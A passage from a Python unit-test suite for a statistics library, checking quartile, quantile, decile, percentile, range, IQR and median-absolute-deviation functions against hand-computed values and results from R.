def testSeq1(self):\n data = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n expected = (3.3 + 5.5*2 + 7.7)/4\n self.generic_sequence_test(data, 1, expected)\n\n def testSeq2(self):\n data = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n expected = (2.2 + 4.4 + 5.5 + 7.7)/4\n self.generic_sequence_test(data, 2, expected)\n\n def testSeq3(self):\n data = [-1.1, 0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n expected = ((1.1+2.2)/2 + 4.4*2 + (6.6+7.7)/2)/4\n self.generic_sequence_test(data, 3, expected)\n\n def testIter(self):\n data = [1.1, 3.3, 4.4, 6.6, 7.7, 9.9]\n expected = (3.3 + 4.4 + 6.6 + 7.7)/4\n self.assertEqual(self.func(iter(data)), expected)\n\n\nclass OrderRangeTest(test_stats.NumericTestCase, test_stats.UnivariateMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.range\n\n def testSingleton(self):\n for x in (-3.1, 0.0, 4.2, 1.789e12):\n self.assertEqual(self.func([x]), 0)\n\n def generate_data_sets(self):\n # Yield 2-tuples of (data, expected range).\n # List arguments:\n yield ([42], 0)\n yield ([1, 5], 4)\n yield ([1.5, 4.5, 9.0], 7.5)\n yield ([5, 5, 5], 0)\n data = list(range(500))\n random.shuffle(data)\n for shift in (0, 0.5, 1234.567, -1000, 1e6, 1e9):\n d = [x + shift for x in data]\n yield (d, 499)\n # Subclass of list:\n class MyList(list):\n pass\n yield (MyList([1, 2, 3, 4, 5, 6]), 5)\n yield (MyList([-1, 0, 1, 2, 3, 4, 5]), 6)\n yield (MyList([-1, -2, -3, -4, -5]), 4)\n # Tuple arguments:\n yield ((7, 2), 5)\n yield ((7, 2, 5, 6), 5)\n yield ((3.25, 7.5, 3.25, 4.2), 4.25)\n # range objects:\n yield (range(11), 10)\n yield (range(11, -1, -1), 11)\n\n def testSequence(self):\n for data, expected in self.generate_data_sets():\n self.assertEqual(self.func(data), expected)\n\n def testIterator(self):\n for data, expected in self.generate_data_sets():\n self.assertEqual(self.func(iter(data)), expected)\n\n def testHasD2(self):\n self.assertTrue(hasattr(self.func, 'd2'))\n self.assertTrue(isinstance(self.func.d2, dict))\n\n def testInterval(self):\n # Test range with an interval argument.\n self.assertEqual(self.func([1, 5], 0.5), 4.5)\n self.assertEqual(self.func([2, 4, 6, 8], 1), 7)\n self.assertEqual(self.func([-1, 0, 1], 0.01), 2.01)\n\n def testBadInterval(self):\n exc = (TypeError, ValueError)\n for interval in (None, 'spam', [], {}, object(), len):\n self.assertRaises(exc, self.func, [1, 2, 3], interval)\n\n\nclass OrderIQRTest(\n DoubleDataFailMixin,\n test_stats.NumericTestCase,\n test_stats.UnivariateMixin\n ):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.iqr\n self.schemes = [1, 2, 3, 4, 5, 6]\n\n def testBadScheme(self):\n # Test that a bad scheme raises an exception.\n exc = (KeyError, TypeError)\n for scheme in (-1, 1.5, \"spam\", object(), {}, [], None):\n self.assertRaises(exc, self.func, [1, 2, 3, 4], scheme)\n\n def testTriplet(self):\n # Test that data consisting of three items behaves as expected.\n data = [1, 5, 12]\n self.assertEqual(self.func(data, 'inclusive'), 5.5)\n self.assertEqual(self.func(data, 'exclusive'), 11)\n\n def testCaseInsensitive(self):\n # Test that aliases are case-insensitive.\n data = [1, 2, 3, 6, 9, 12, 18, 22]\n for name, num in stats.order.quartiles.aliases.items():\n expected = self.func(data, num)\n self.assertEqual(self.func(data, name.lower()), expected)\n self.assertEqual(self.func(data, name.upper()), expected)\n self.assertEqual(self.func(data, name.title()), expected)\n\n def same_result(self, data, scheme):\n \"\"\"Check that data gives the same result, no matter what\n order it is given in.\"\"\"\n assert len(data) > 2\n if len(data) <= 7:\n # Test every permutation exhaustively for small amounts of data.\n perms = itertools.permutations(data)\n else:\n # Take a random sample for larger amounts of data.\n data = list(data)\n perms = []\n for _ in range(50):\n random.shuffle(data)\n perms.append(data[:])\n results = [self.func(perm, scheme) for perm in perms]\n assert len(results) > 1\n self.assertTrue(len(set(results)) == 1)\n\n def testCompareOrder(self):\n # Ensure results don't depend on the order of the input.\n for scheme in self.schemes:\n for size in range(3, 12): # size % 4 -> 3,0,1,2 ...\n self.same_result(range(size), scheme)\n\n\nclass OrderMAD_Test(test_stats.UnivariateMixin, test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.mad\n\n def testSuppliedMedian(self):\n # Test that pre-calculating the median gives the same result.\n import stats.order\n for data in (range(35), range(-17, 53, 7), range(11, 79, 3)):\n result1 = self.func(data)\n m = stats.order.median(data)\n data = list(data)\n random.shuffle(data)\n result2 = self.func(data, m)\n self.assertEqual(result1, result2)\n\n def testMain(self):\n data = [-1.25, 0.5, 0.5, 1.75, 3.25, 4.5, 4.5, 6.25, 6.75, 9.75]\n expected = 2.625\n for delta in (0, 100, 1e6, 1e9):\n self.assertEqual(self.func(x+delta for x in data), expected)\n\n def testHasScaling(self):\n self.assertTrue(hasattr(self.func, 'scaling'))\n\n def testNoScaling(self):\n # Test alternative ways of spelling no scaling factor.\n data = [random.random()+23 for _ in range(100)]\n expected = self.func(data)\n for scale in (1, None, 'none'):\n self.assertEqual(self.func(data, scale=scale), expected)\n\n def testScales(self):\n data = [100*random.random()+42 for _ in range(100)]\n expected = self.func(data)\n self.assertEqual(self.func(data, scale='normal'), expected*1.4826)\n self.assertApproxEqual(\n self.func(data, scale='uniform'),\n expected*1.1547, # Documented value in docstring.\n tol=0.0001, rel=None)\n self.assertEqual(self.func(data, scale='uniform'),\n expected*math.sqrt(4/3)) # Exact value.\n for x in (-1.25, 0.0, 1.25, 4.5, 9.75):\n self.assertEqual(self.func(data, scale=x), expected*x)\n\n def testCaseInsensitiveScaling(self):\n for scale in ('normal', 'uniform', 'none'):\n data = [67*random.random()+19 for _ in range(100)]\n a = self.func(data, scale=scale.lower())\n b = self.func(data, scale=scale.upper())\n c = self.func(data, scale=scale.title())\n self.assertEqual(a, b)\n self.assertEqual(a, c)\n\n def testSchemeOdd(self):\n # Test scheme argument with odd number of data points.\n data = [23*random.random()+42 for _ in range(55)]\n assert len(data)%2 == 1\n a = self.func(data, scheme=1)\n b = self.func(data, scheme=2)\n c = self.func(data, scheme=3)\n d = self.func(data)\n self.assertEqual(a, b)\n self.assertEqual(a, c)\n self.assertEqual(a, d)\n\n def testSignEven(self):\n # Test scheme argument with even number of data points.\n data = [0.5, 1.5, 3.25, 4.25, 6.25, 6.75]\n assert len(data)%2 == 0\n self.assertEqual(self.func(data), 2.375)\n self.assertEqual(self.func(data, scheme=1), 2.375)\n self.assertEqual(self.func(data, scheme=2), 1.75)\n self.assertEqual(self.func(data, scheme=3), 2.5)\n\n\nclass OrderFiveNumTest(\n DoubleDataFailMixin,\n test_stats.NumericTestCase,\n test_stats.UnivariateMixin\n ):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.fivenum\n\n def testCompareWithQuartiles(self):\n # Compare results with those from the quartiles function using\n # the 'hinges' scheme.\n quartiles = stats.order.quartiles\n for n in range(3, 25):\n data = list(range(n))\n random.shuffle(data)\n self.assertEqual(self.func(data)[1:-1], quartiles(data, 'hinges'))\n\n def testCompareWithMinMax(self):\n # Compare results with the min and max.\n for n in range(3, 25):\n data = list(range(n))\n random.shuffle(data)\n t = self.func(data)\n self.assertEqual(t[0], min(data))\n self.assertEqual(t[-1], max(data))\n\n def testSummary(self):\n # Compare results with those calculated by hand.\n f = self.func\n self.assertEqual(f([0, 1, 2, 3, 4]), (0, 1, 2, 3, 4))\n self.assertEqual(f(range(100, 109)), (100, 102, 104, 106, 108))\n self.assertEqual(f(range(100, 110)), (100, 102, 104.5, 107, 109))\n self.assertEqual(f(range(100, 111)), (100, 102.5, 105, 107.5, 110))\n self.assertEqual(f(range(100, 112)), (100, 102.5, 105.5, 108.5, 111))\n\n def testFields(self):\n # Test that the summary result has named fields.\n names = ('minimum', 'lower_hinge', 'median', 'upper_hinge', 'maximum')\n t = self.func([1, 3, 5, 7, 9])\n self.assertEqual(t._fields, names)\n\n\nclass OrderQuartileSkewnessTest(unittest.TestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quartile_skewness\n\n def testFailure(self):\n # Test that function raises an exception if the arguments are\n # out of order.\n self.assertRaises(ValueError, self.func, 2, 3, 1)\n self.assertRaises(ValueError, self.func, 9, 8, 7)\n\n def testNan(self):\n # Test that the degenerate case where all three arguments are\n # equal returns NAN.\n self.assertTrue(math.isnan(self.func(1, 1, 1)))\n self.assertTrue(math.isnan(self.func(5, 5, 5)))\n\n def testSkew(self):\n # Test skew calculations.\n self.assertEqual(self.func(3, 5, 7), 0.0)\n self.assertEqual(self.func(0, 1, 10), 0.8)\n self.assertEqual(self.func(0, 9, 10), -0.8)\n\n\nclass OrderQuartilesDrMathTest(unittest.TestCase):\n # Test quartiles function against results given at the Dr Math page:\n # http://mathforum.org/library/drmath/view/60969.html\n # Q2 values are not checked in this test.\n A = range(1, 9)\n B = range(1, 10)\n C = range(1, 11)\n D = range(1, 12)\n\n def testInclusive(self):\n f = stats.order._Quartiles.inclusive\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 6.5)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 7.0)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 8.0)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.5)\n self.assertEqual(q3, 8.5)\n\n def testExclusive(self):\n f = stats.order._Quartiles.exclusive\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 6.5)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 7.5)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 8.0)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 9.0)\n\n def testMS(self):\n f = stats.order._Quartiles.ms\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2)\n self.assertEqual(q3, 7)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 3)\n self.assertEqual(q3, 7)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3)\n self.assertEqual(q3, 8)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3)\n self.assertEqual(q3, 9)\n\n def testMinitab(self):\n f = stats.order._Quartiles.minitab\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.25)\n self.assertEqual(q3, 6.75)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 7.5)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 2.75)\n self.assertEqual(q3, 8.25)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 9.0)\n\n def testExcel(self):\n f = stats.order._Quartiles.excel\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.75)\n self.assertEqual(q3, 6.25)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 7.0)\n q1, _, q3 = f(self.C)\n self.assertEqual(q1, 3.25)\n self.assertEqual(q3, 7.75)\n q1, _, q3 = f(self.D)\n self.assertEqual(q1, 3.5)\n self.assertEqual(q3, 8.5)\n\n\nclass OrderQuartilesAliasesTest(unittest.TestCase):\n def testAliasesMapping(self):\n # Test that the quartiles function exposes a mapping of aliases.\n self.assertTrue(hasattr(stats.order.quartiles, 'aliases'))\n aliases = stats.order.quartiles.aliases\n self.assertTrue(isinstance(aliases, collections.Mapping))\n self.assertTrue(aliases)\n\n def testAliasesValues(self):\n # Test that the quartiles function aliases all map to real schemes.\n allowed_schemes = set(stats.order._Quartiles.FUNC_MAP.keys())\n used_schemes = set(stats.order.quartiles.aliases.values())\n self.assertTrue(used_schemes.issubset(allowed_schemes))\n\n\nclass OrderQuartilesTest(\n DoubleDataFailMixin,\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quartiles\n\n def testBadScheme(self):\n # Test that invalid schemes will fail.\n data = range(20)\n exc = (KeyError, TypeError)\n for scheme in ('', 'spam', 1.5, -1.5, -2):\n self.assertRaises(exc, self.func, data, scheme)\n\n def testCaseInsensitive(self):\n # Test that string scheme aliases are case-insensitive.\n data = range(20)\n for scheme in self.func.aliases:\n a = self.func(data, scheme.lower())\n b = self.func(data, scheme.upper())\n c = self.func(data, scheme.title())\n self.assertEqual(a, b)\n self.assertEqual(a, c)\n\n def testInclusive(self):\n # Test the inclusive method of calculating quartiles.\n f = self.func\n scheme = 1\n self.assertEqual(f([0, 1, 2], scheme), (0.5, 1, 1.5))\n self.assertEqual(f([0, 1, 2, 3], scheme), (0.5, 1.5, 2.5))\n self.assertEqual(f([0, 1, 2, 3, 4], scheme), (1, 2, 3))\n self.assertEqual(f([0, 1, 2, 3, 4, 5], scheme), (1, 2.5, 4))\n self.assertEqual(f([0, 1, 2, 3, 4, 5, 6], scheme), (1.5, 3, 4.5))\n self.assertEqual(f(range(1, 9), scheme), (2.5, 4.5, 6.5))\n self.assertEqual(f(range(1, 10), scheme), (3, 5, 7))\n self.assertEqual(f(range(1, 11), scheme), (3, 5.5, 8))\n self.assertEqual(f(range(1, 12), scheme), (3.5, 6, 8.5))\n self.assertEqual(f(range(1, 13), scheme), (3.5, 6.5, 9.5))\n self.assertEqual(f(range(1, 14), scheme), (4, 7, 10))\n self.assertEqual(f(range(1, 15), scheme), (4, 7.5, 11))\n self.assertEqual(f(range(1, 16), scheme), (4.5, 8, 11.5))\n\n def testExclusive(self):\n # Test the exclusive method of calculating quartiles.\n f = self.func\n scheme = 2\n self.assertEqual(f([0, 1, 2], scheme), (0, 1, 2))\n self.assertEqual(f([0, 1, 2, 3], scheme), (0.5, 1.5, 2.5))\n self.assertEqual(f([0, 1, 2, 3, 4], scheme), (0.5, 2, 3.5))\n self.assertEqual(f([0, 1, 2, 3, 4, 5], scheme), (1, 2.5, 4))\n self.assertEqual(f([0, 1, 2, 3, 4, 5, 6], scheme), (1, 3, 5))\n self.assertEqual(f(range(1, 9), scheme), (2.5, 4.5, 6.5))\n self.assertEqual(f(range(1, 10), scheme), (2.5, 5, 7.5))\n self.assertEqual(f(range(1, 11), scheme), (3, 5.5, 8))\n self.assertEqual(f(range(1, 12), scheme), (3, 6, 9))\n self.assertEqual(f(range(1, 13), scheme), (3.5, 6.5, 9.5))\n self.assertEqual(f(range(1, 14), scheme), (3.5, 7, 10.5))\n self.assertEqual(f(range(1, 15), scheme), (4, 7.5, 11))\n self.assertEqual(f(range(1, 16), scheme), (4, 8, 12))\n\n def testMS(self):\n f = self.func\n scheme = 3\n self.assertEqual(f(range(3), scheme), (0, 1, 2))\n self.assertEqual(f(range(4), scheme), (0, 1, 3))\n self.assertEqual(f(range(5), scheme), (1, 2, 3))\n self.assertEqual(f(range(6), scheme), (1, 3, 4))\n self.assertEqual(f(range(7), scheme), (1, 3, 5))\n self.assertEqual(f(range(8), scheme), (1, 3, 6))\n self.assertEqual(f(range(9), scheme), (2, 4, 6))\n self.assertEqual(f(range(10), scheme), (2, 5, 7))\n self.assertEqual(f(range(11), scheme), (2, 5, 8))\n self.assertEqual(f(range(12), scheme), (2, 5, 9))\n\n def testMinitab(self):\n f = self.func\n scheme = 4\n self.assertEqual(f(range(3), scheme), (0, 1, 2))\n self.assertEqual(f(range(4), scheme), (0.25, 1.5, 2.75))\n self.assertEqual(f(range(5), scheme), (0.5, 2, 3.5))\n self.assertEqual(f(range(6), scheme), (0.75, 2.5, 4.25))\n self.assertEqual(f(range(7), scheme), (1, 3, 5))\n self.assertEqual(f(range(8), scheme), (1.25, 3.5, 5.75))\n self.assertEqual(f(range(9), scheme), (1.5, 4, 6.5))\n self.assertEqual(f(range(10), scheme), (1.75, 4.5, 7.25))\n self.assertEqual(f(range(11), scheme), (2, 5, 8))\n self.assertEqual(f(range(12), scheme), (2.25, 5.5, 8.75))\n\n def testExcel(self):\n f = self.func\n scheme = 5\n # Results generated with OpenOffice.\n self.assertEqual(f(range(3), scheme), (0.5, 1, 1.5))\n self.assertEqual(f(range(4), scheme), (0.75, 1.5, 2.25))\n self.assertEqual(f(range(5), scheme), (1, 2, 3))\n self.assertEqual(f(range(6), scheme), (1.25, 2.5, 3.75))\n self.assertEqual(f(range(7), scheme), (1.5, 3, 4.5))\n self.assertEqual(f(range(8), scheme), (1.75, 3.5, 5.25))\n self.assertEqual(f(range(9), scheme), (2, 4, 6))\n self.assertEqual(f(range(10), scheme), (2.25, 4.5, 6.75))\n self.assertEqual(f(range(11), scheme), (2.5, 5, 7.5))\n self.assertEqual(f(range(12), scheme), (2.75, 5.5, 8.25))\n self.assertEqual(f(range(13), scheme), (3, 6, 9))\n self.assertEqual(f(range(14), scheme), (3.25, 6.5, 9.75))\n self.assertEqual(f(range(15), scheme), (3.5, 7, 10.5))\n\n def testLangford(self):\n f = self.func\n scheme = 6\n self.assertEqual(f(range(3), scheme), (0, 1, 2))\n self.assertEqual(f(range(4), scheme), (0.5, 1.5, 2.5))\n self.assertEqual(f(range(5), scheme), (1, 2, 3))\n self.assertEqual(f(range(6), scheme), (1, 2.5, 4))\n self.assertEqual(f(range(7), scheme), (1, 3, 5))\n self.assertEqual(f(range(8), scheme), (1.5, 3.5, 5.5))\n self.assertEqual(f(range(9), scheme), (2, 4, 6))\n self.assertEqual(f(range(10), scheme), (2, 4.5, 7))\n self.assertEqual(f(range(11), scheme), (2, 5, 8))\n self.assertEqual(f(range(12), scheme), (2.5, 5.5, 8.5))\n\n def testBig(self):\n # Test some quartiles results on relatively big sets of data.\n data = list(range(1001, 2001))\n assert len(data) == 1000\n assert len(data)%4 == 0\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1250.5, 1500.5, 1750.5))\n self.assertEqual(self.func(data, 2), (1250.5, 1500.5, 1750.5))\n data.append(2001)\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1251, 1501, 1751))\n self.assertEqual(self.func(data, 2), (1250.5, 1501, 1751.5))\n data.append(2002)\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1251, 1501.5, 1752))\n self.assertEqual(self.func(data, 2), (1251, 1501.5, 1752))\n data.append(2003)\n random.shuffle(data)\n self.assertEqual(self.func(data, 1), (1251.5, 1502, 1752.5))\n self.assertEqual(self.func(data, 2), (1251, 1502, 1753))\n\n\nclass OrderQuantileBehaviourTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n # Behaviour tests for quantile (like test_stats.UnivariateMixin except\n # adds a second required argument).\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.raw_func = stats.order.quantile\n self.func = lambda x: self.raw_func(x, 0.5)\n\n def testNoArgs(self):\n # Fail if given no arguments.\n self.assertRaises(TypeError, self.raw_func)\n self.assertRaises(TypeError, self.func)\n\n def testSingleArg(self):\n # Fail if given a single argument.\n self.assertRaises(TypeError, self.raw_func, [1, 2, 3])\n\n def testSingleData(self):\n # Fail when the first argument has a single data point.\n for x in self.make_random_data(size=1, count=4):\n assert len(x) == 1\n self.assertRaises(ValueError, self.func, x)\n\n\nclass OrderQuantileResultsTest(test_stats.NumericTestCase):\n # Test the results returned by quantile.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quantile\n\n def testQuantileArgOutOfRange(self):\n # Test that the quantile input arg fails if not 0 <= x < 1.\n data = [1, 2, 3, 4]\n self.assertRaises(ValueError, self.func, data, -0.1)\n self.assertRaises(ValueError, self.func, data, 1.1)\n\n def testUnsorted(self):\n # quantile function should work on unsorted data.\n data = [3, 4, 2, 1, 0, 5]\n assert data != sorted(data)\n self.assertEqual(self.func(data, 0.1, scheme=1), 0)\n self.assertEqual(self.func(data, 0.9, scheme=1), 5)\n self.assertEqual(self.func(data, 0.1, scheme=7), 0.5)\n self.assertEqual(self.func(data, 0.9, scheme=7), 4.5)\n\n def testIter(self):\n # quantile function should work on iterator data.\n self.assertEqual(self.func(range(12), 0.3, scheme=1), 3)\n self.assertEqual(self.func(range(12), 0.3, scheme=7), 3.3)\n self.assertEqual(self.func(iter([1, 3, 6, 9]), 0.7, scheme=2), 6)\n self.assertApproxEqual(\n self.func(iter([1, 3, 6, 9]), 0.7, scheme=8), 7.1, rel=1e-15)\n\n def testUnitInterval(self):\n # Test quantile interpolating between 0 and 1.\n data = [0, 1]\n for f in (0.01, 0.1, 0.2, 0.25, 0.5, 0.55, 0.8, 0.9, 0.99):\n result = self.func(data, f, scheme=7)\n self.assertApproxEqual(result, f, tol=1e-9, rel=None)\n\n def testLQD(self):\n expected = [1.0, 1.7, 3.9, 6.1, 8.3, 10.5, 12.7, 14.9, 17.1, 19.3, 20.0]\n ps = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n data = range(1, 21)\n for i, p in enumerate(ps):\n result = self.func(data, p, scheme=10)\n self.assertApproxEqual(expected[i], result, tol=1e-12, rel=None)\n\n\nclass OrderCompareParameterizedQuantiles(test_stats.NumericTestCase):\n # Compare Mathematica-style parameterized quantiles with the equivalent.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quantile\n\n def compareMethods(self, scheme, params):\n fractions = [0.0, 0.01, 0.1, 0.2, 0.25, 0.31, 0.42, 0.5,\n 0.55, 0.62, 0.75, 0.83, 0.9, 0.95, 0.99, 1.0]\n data0 = list(range(2000, 2701, 100))\n assert len(data0)%4 == 0\n data1 = list(range(2000, 2801, 100))\n assert len(data1)%4 == 1\n data2 = list(range(2000, 2901, 100))\n assert len(data2)%4 == 2\n data3 = list(range(2000, 3001, 100))\n assert len(data3)%4 == 3\n for data in (data0, data1, data2, data3):\n name = 'data%d' % (len(data) % 4)\n for p in fractions:\n a = self.func(data, p, scheme=scheme)\n b = self.func(data, p, scheme=params)\n self.assertEqual(a, b,\n \"Failed for %s with %s != %s; p=%f\" % (name, a, b, p))\n\n def testR1(self):\n scheme = 1; params = (0, 0, 1, 0)\n self.compareMethods(scheme, params)\n\n # Note that there is no test for R2, as it is not supported by the\n # Mathematica parameterized quantile algorithm.\n\n @unittest.skip('test currently broken for unknown reasons')\n def testR3(self):\n scheme = 3; params = (0.5, 0, 0, 0)\n self.compareMethods(scheme, params)\n\n def testR4(self):\n scheme = 4; params = (0, 0, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR5(self):\n scheme = 5; params = (0.5, 0, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR6(self):\n scheme = 6; params = (0, 1, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR7(self):\n scheme = 7; params = (1, -1, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR8(self):\n scheme = 8; params = (1/3, 1/3, 0, 1)\n self.compareMethods(scheme, params)\n\n def testR9(self):\n scheme = 9; params = (3/8, 0.25, 0, 1)\n self.compareMethods(scheme, params)\n\n\nclass OrderQuantilesCompareWithR(test_stats.NumericTestCase):\n # Compare results of calling quantile() against results from R.\n tol = 1e-3\n rel = None\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.read_data('stats-quantiles.dat')\n self.func = stats.order.quantile\n\n def read_data(self, filename):\n # Read data from external test data file generated using R.\n # First we have to find our location...\n import os\n import __main__\n location = os.path.split(__main__.__file__)[0]\n # Now add the filename to it.\n location = os.path.join(location, filename)\n # Now read the data from that file.\n expected = {}\n with open(location, 'r') as data:\n for line in data:\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if '=' in line:\n label, items = line.split(\"=\")\n label = label.strip()\n if label == 'seq':\n start, end, step = [int(s) for s in items.split()]\n end += 1\n self.data = list(range(start, end, step))\n elif label == 'p':\n self.fractiles = [float(s) for s in items.split()]\n else:\n scheme, results = line.split(\":\")\n scheme = int(scheme.strip())\n assert 1 <= scheme <= 9\n results = [float(x) for x in results.split()]\n expected[scheme] = results\n self.expected = expected\n\n def compare(self, scheme):\n fractiles = self.fractiles\n a = [self.func(self.data, p, scheme=scheme) for p in fractiles]\n b = self.expected[scheme]\n for actual, expected in zip(a, b):\n self.assertApproxEqual(actual, expected)\n\n def testR1(self): self.compare(1)\n def testR2(self): self.compare(2)\n def testR3(self): self.compare(3)\n def testR4(self): self.compare(4)\n def testR5(self): self.compare(5)\n def testR6(self): self.compare(6)\n def testR7(self): self.compare(7)\n def testR8(self): self.compare(8)\n def testR9(self): self.compare(9)\n\n\nclass OrderDecileBehaviourTest(OrderQuantileBehaviourTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.raw_func = stats.order.decile\n self.func = lambda x: self.raw_func(x, 7)\n\n\nclass OrderPercentileBehaviourTest(OrderQuantileBehaviourTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.raw_func = stats.order.percentile\n self.func = lambda x: self.raw_func(x, 63)\n\n\nclass OrderDecileExactSchemesTest(test_stats.NumericTestCase):\n # Test that certain schemes don't perform any interpolation when the\n # number of data points is exactly the same as fractile size.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.schemes = [1, 3, 4]\n self.func = stats.order.decile\n self.num = 10\n\n def result_is_exact(self, data, i):\n \"\"\"Test that no interpolation takes place no matter which scheme\n is used.\"\"\"\n for scheme in self.schemes:\n actual = self.func(data, i, scheme)\n self.assertEqual(actual, i,\n \"expected %d with scheme %d but got %s\" % (i, scheme, actual))\n\n def testExact(self):\n # Test that fractiles are exact if there are exactly self.num items.\n data = range(1, 1 + self.num)\n assert len(data) == self.num\n for i in range(1, 1 + self.num):\n self.result_is_exact(data, i)\n\n\nclass OrderPercentileExactSchemeTest(OrderDecileExactSchemesTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.percentile\n self.num = 100\n\n\nclass OrderDecileValueTest(test_stats.NumericTestCase):\n # Test deciles against results (mostly) calculated in R.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.decile\n self.data = [101, 105, 116, 117, 129, 134, 137, 142, 150, 153, 164, 178]\n assert len(self.data) != 10\n\n def setUp(self):\n random.shuffle(self.data)\n\n def do_test(self, i, scheme, expected):\n actual = self.func(self.data, i, scheme)\n self.assertApproxEqual(actual, expected, tol=1e-3)\n\n def testLow(self):\n for scheme in range(1, 11):\n self.do_test(0, scheme, 101)\n\n def testMid(self):\n for scheme in (1, 3, 4):\n self.do_test(5, scheme, 134)\n for scheme in (2, 5, 6, 7, 8, 9, 10):\n self.do_test(5, scheme, 135.5)\n\n def testHigh(self):\n for scheme in range(1, 11):\n self.do_test(10, scheme, 178)\n\n def testScheme1(self):\n self.do_test(2, 1, 116)\n self.do_test(8, 1, 153)\n self.do_test(9, 1, 164)\n\n def testScheme2(self):\n self.do_test(1, 2, 105)\n self.do_test(3, 2, 117)\n self.do_test(9, 2, 164)\n\n def testScheme3(self):\n self.do_test(2, 3, 105)\n self.do_test(7, 3, 142)\n\n def testScheme4(self):\n self.do_test(1, 4, 101.8)\n self.do_test(4, 4, 126.6)\n self.do_test(8, 4, 151.8)\n\n def testScheme5(self):\n self.do_test(1, 5, 103.8)\n self.do_test(3, 5, 118.2)\n self.do_test(6, 5, 140.5)\n self.do_test(7, 5, 149.2)\n\n def testScheme6(self):\n self.do_test(8, 6, 157.4)\n\n def testScheme7(self):\n self.do_test(2, 7, 116.2)\n self.do_test(3, 7, 120.6)\n self.do_test(6, 7, 140)\n\n def testScheme8(self):\n self.do_test(4, 8, 130.333)\n self.do_test(7, 8, 149.733)\n self.do_test(6, 8, 140.667)\n\n def testScheme9(self):\n self.do_test(4, 9, 130.375)\n self.do_test(9, 9, 169.6)\n\n def testScheme10(self):\n self.do_test(3, 10, 116.7)\n self.do_test(7, 10, 150.9)\n\n\nclass OrderPercentileValueTest(test_stats.NumericTestCase):\n # Test percentiles against results (mostly) calculated in R.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.percentile\n self.data = [103, 109, 113, 121, 127, 131, 142, 143, 154,\n 163, 167, 171, 180, 185, 188, 196]\n assert len(self.data) != 100\n\n def setUp(self):\n random.shuffle(self.data)\n\n def do_test(self, i, scheme, expected):\n actual = self.func(self.data, i, scheme)\n self.assertApproxEqual(actual, expected, tol=1e-3)\n\n def testLow(self):\n for scheme in range(1, 11):\n self.do_test(0, scheme, 103)\n\n def testMid(self):\n for scheme in (1, 3, 4):\n self.do_test(50, scheme, 143)\n for scheme in (2, 5, 6, 7, 8, 9, 10):\n self.do_test(50, scheme, 148.5)\n\n def testHigh(self):\n for scheme in range(1, 11):\n self.do_test(100, scheme, 196)\n\n\n\n# -- univar module ----------------------------------------------------\n\nclass UnivarGlobalsTest(test_stats.GlobalsTest):\n module = stats.univar\n\n\nclass UnivarHarmonicMeanTest(test_stats.MeanTest):\n rel = 1e-8\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.harmonic_mean\n self.expected = 3.4995090404755\n\n def testSingleton(self):\n # Over-ride method. While exact equality should hold, due to\n # rounding error, we have to accept a little less precision.\n for x in self.data:\n 